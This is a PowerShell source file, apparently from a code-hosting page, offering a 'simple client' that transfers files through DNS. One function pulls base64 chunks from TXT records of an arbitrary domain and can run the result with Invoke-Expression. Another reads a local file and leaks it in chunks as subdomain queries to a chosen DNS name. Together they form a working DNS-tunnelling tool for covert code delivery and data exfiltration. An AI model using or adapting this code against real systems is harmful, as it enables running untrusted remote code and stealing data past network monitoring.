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63 Zeilen
2.3 KiB
PowerShell
63 Zeilen
2.3 KiB
PowerShell
# Simple Powershell client, also runs on linux with Powershell Core
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Function Get-DnsTxt {
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[CmdletBinding()] param(
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[string] $Domain
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)
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Try {
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return (Resolve-DnsName -Type TXT $Domain | Select-Object Strings | Format-Table -HideTableHeaders | Out-String -Width 1000).Replace("{", "").Replace("}", "").Trim()
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} Catch [System.Management.Automation.CommandNotFoundException] {
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return dig +short $Domain TXT
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}
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}
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Function Get-DnsFile {
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[CmdletBinding()] param(
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[string] $FileName = $(Read-Host -Prompt 'Enter a FileName'),
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[string] $DnsName = $(Read-Host -Prompt 'Enter a DnsName'),
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[switch] $Execute,
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[switch] $Write,
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[string] $OutPath
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)
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$count = [int](Get-DnsTxt -Domain "$FileName.count.$DnsName")
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$file_base64 = ""
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For ($i=0; $i -le $count; $i++) {
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$file_base64 += (Get-DnsTxt -Domain "$FileName.$i.$DnsName")
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}
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"Base64 $file_base64"
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$file_string = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($file_base64))
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"String $file_string"
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If ($Execute.IsPresent) {
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$file_string | Invoke-Expression
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} Else {
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$file_string | Out-String
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}
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If ($Write.IsPresent) {
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$file_string | Out-File -FilePath ($OutPath, $FileName)[!$OutPath]
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}
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}
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Function Push-DNSFile {
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[CmdletBinding()] param(
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[string] $FileName = $(Read-Host -Prompt 'Enter a Filename'),
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[string] $DnsName = $(Read-Host -Prompt 'Enter a DnsName')
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)
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$id = (Get-FileHash $FileName | Select-Object Hash | Format-Table -HideTableHeaders | Out-String).Trim()
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$id = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($id)).Substring(0,6)
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$content_binary = Get-Content -Path $FileName -Encoding utf8
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$content_base64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($content_binary))
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$i = 0
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While ($content_base64) {
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$url = "."+$i+"-"+$id+"u."+$DnsName
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$len = 63 - $url.Length
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if($len -le $content_base64.Length) {
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$content_part = $content_base64.Substring(0, $len)
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$content_base64 = $content_base64.Substring($len)
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} else {
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$content_part = $content_base64
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$content_base64 = $false
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}
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Get-DnsTxt -Domain ($content_part + $url)
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$i++
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}
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}
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